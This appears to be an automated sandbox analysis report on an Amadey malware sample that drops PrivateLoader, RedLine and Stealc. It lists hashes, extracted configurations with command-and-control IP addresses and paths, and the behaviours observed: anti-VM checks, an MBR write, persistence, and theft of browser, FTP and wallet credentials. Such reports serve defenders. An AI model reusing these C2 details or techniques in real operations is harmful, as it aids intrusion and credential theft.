amadey | 8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2

Analysis

max time kernel
149s
max time network
164s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
31-05-2024 04:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
Size

1.8MB
MD5

55c66a094425babc81260abc1e8b69b6
SHA1

c1b6f5a9c9ea7173564d8cf44c98c874e06d2c71
SHA256

8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2
SHA512

83e84f4c49845f6f2aac6186bd2064493c026fc0b62ac7bd60f0a577b6887f60e354f4915348ca2fa0ae42fbedf6170d5fd00ef85764939d237fd01c9fed445e
SSDEEP

49152:k0hJyywofjsXgZHjcCUNzAhv7kBFkjZX:k0hB1fjWuwCv1J

Score

10^/10

amadey privateloader redline stealc 0e6740 1 49e482 @logscloudyt_bot zzvv bootkit discovery evasion execution infostealer loader persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

amadey

Version

4.21

Botnet

49e482

http://147.45.47.70

Attributes

install_dir
1b29d73536
install_file
axplont.exe
strings_key
4d31dd1a190d9879c21fac6d87dc0043
url_paths
/tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

185.215.113.67:40960

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

http://23.88.106.134

Attributes

url_path
/c73eed764cc59dcb.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	soadvtQh257tqS9XS1qX4RjL.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000100000002aaa3-96.dat	family_redline
behavioral2/memory/1476-112-0x00000000007A0000-0x00000000007F2000-memory.dmp	family_redline
behavioral2/files/0x000100000002aaa7-123.dat	family_redline
behavioral2/memory/4544-158-0x0000000000D40000-0x0000000000D92000-memory.dmp	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	86f9223020.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	29d11f4bcc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
118	2552	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
2856	powershell.exe
5428	powershell.exe
5740	powershell.exe
4412	powershell.exe
1096	powershell.EXE

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	86f9223020.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	29d11f4bcc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	86f9223020.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	29d11f4bcc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Control Panel\International\Geo\Nation	hEBoiUE.exe

Executes dropped EXE 31 IoCs

pid	Process
3684	explortu.exe
3596	86f9223020.exe
2260	axplont.exe
2440	29d11f4bcc.exe
1168	33333.exe
1476	fileosn.exe
4544	svhoost.exe
5052	One.exe
1868	lumma1234.exe
4648	gold.exe
2372	swizzzz.exe
2288	file300un.exe
3992	Newoff.exe
1948	wUHJkuwe2w34tSePdh99BEEo.exe
4688	GGFOXxJVjllA5xceG6eveF2u.exe
396	victor.exe
3104	download.exe
3484	download.exe
5188	nCbdTcMWNLlH0wCA9ZZjvaf9.exe
5868	explortu.exe
5936	axplont.exe
5928	soadvtQh257tqS9XS1qX4RjL.exe
6076	Newoff.exe
6060	a3MqvULO1MUBCvQtDxrUWl2a.exe
5936	Install.exe
5148	Install.exe
1360	Install.exe
2148	explortu.exe
4704	Newoff.exe
4900	axplont.exe
1292	hEBoiUE.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	86f9223020.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	29d11f4bcc.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine	axplont.exe

Loads dropped DLL 2 IoCs

pid	Process
1948	wUHJkuwe2w34tSePdh99BEEo.exe
2552	rundll32.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\29d11f4bcc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000005001\\29d11f4bcc.exe"	explortu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	hEBoiUE.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	hEBoiUE.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
46	pastebin.com
38	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	api.myip.com
77	ipinfo.io
94	api.myip.com
95	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	wUHJkuwe2w34tSePdh99BEEo.exe

Drops file in System32 directory 35 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	hEBoiUE.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	hEBoiUE.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	soadvtQh257tqS9XS1qX4RjL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	hEBoiUE.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	hEBoiUE.exe
File opened for modification	C:\Windows\System32\GroupPolicy	soadvtQh257tqS9XS1qX4RjL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	hEBoiUE.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	soadvtQh257tqS9XS1qX4RjL.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	hEBoiUE.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	soadvtQh257tqS9XS1qX4RjL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	hEBoiUE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	hEBoiUE.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
3684	explortu.exe
3596	86f9223020.exe
2260	axplont.exe
2440	29d11f4bcc.exe
5868	explortu.exe
5936	axplont.exe
2148	explortu.exe
4900	axplont.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 1168 set thread context of 4696	1168	33333.exe	88
PID 1868 set thread context of 5008	1868	lumma1234.exe	96
PID 4648 set thread context of 4660	4648	gold.exe	101
PID 2372 set thread context of 3556	2372	swizzzz.exe	103
PID 2288 set thread context of 2696	2288	file300un.exe	115
PID 4688 set thread context of 5728	4688	GGFOXxJVjllA5xceG6eveF2u.exe	130
PID 4688 set thread context of 5140	4688	GGFOXxJVjllA5xceG6eveF2u.exe	146
PID 5728 set thread context of 5340	5728	AddInProcess32.exe	167

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	hEBoiUE.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\ziakPKWyaVUHF.dll	hEBoiUE.exe
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\QNkKvGe.xml	hEBoiUE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	hEBoiUE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	hEBoiUE.exe
File created	C:\Program Files (x86)\JipyTrDkU\LxjUalA.xml	hEBoiUE.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\edUiHQA.xml	hEBoiUE.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	hEBoiUE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	hEBoiUE.exe
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\HipBaCI.dll	hEBoiUE.exe
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\WhBLlkX.dll	hEBoiUE.exe
File created	C:\Program Files (x86)\JipyTrDkU\ikKyVH.dll	hEBoiUE.exe
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\PjfbVFD.xml	hEBoiUE.exe
File created	C:\Program Files (x86)\nFLFFjqrQPUn\nlXcOxU.dll	hEBoiUE.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explortu.job	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
File created	C:\Windows\Tasks\axplont.job	86f9223020.exe
File created	C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job	schtasks.exe
File created	C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job	schtasks.exe
File created	C:\Windows\Tasks\jiLwFdOzPPQiWLm.job	schtasks.exe
File created	C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
760	1168	WerFault.exe	85
4640	4648	WerFault.exe	100
3276	396	WerFault.exe	121
5664	3484	WerFault.exe	126
5956	1360	WerFault.exe	182
5724	5148	WerFault.exe	149
2972	1292	WerFault.exe	277

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AddInProcess32.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AddInProcess32.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AddInProcess32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3144	schtasks.exe
5752	schtasks.exe
3160	schtasks.exe
6032	schtasks.exe
5504	schtasks.exe
6044	schtasks.exe
968	schtasks.exe
5612	schtasks.exe
5204	schtasks.exe
4412	schtasks.exe
5272	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1576	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{77c203ea-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	hEBoiUE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	hEBoiUE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{77c203ea-0000-0000-0000-d01200000000}\MaxCapacity = "14116"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	hEBoiUE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	hEBoiUE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	hEBoiUE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
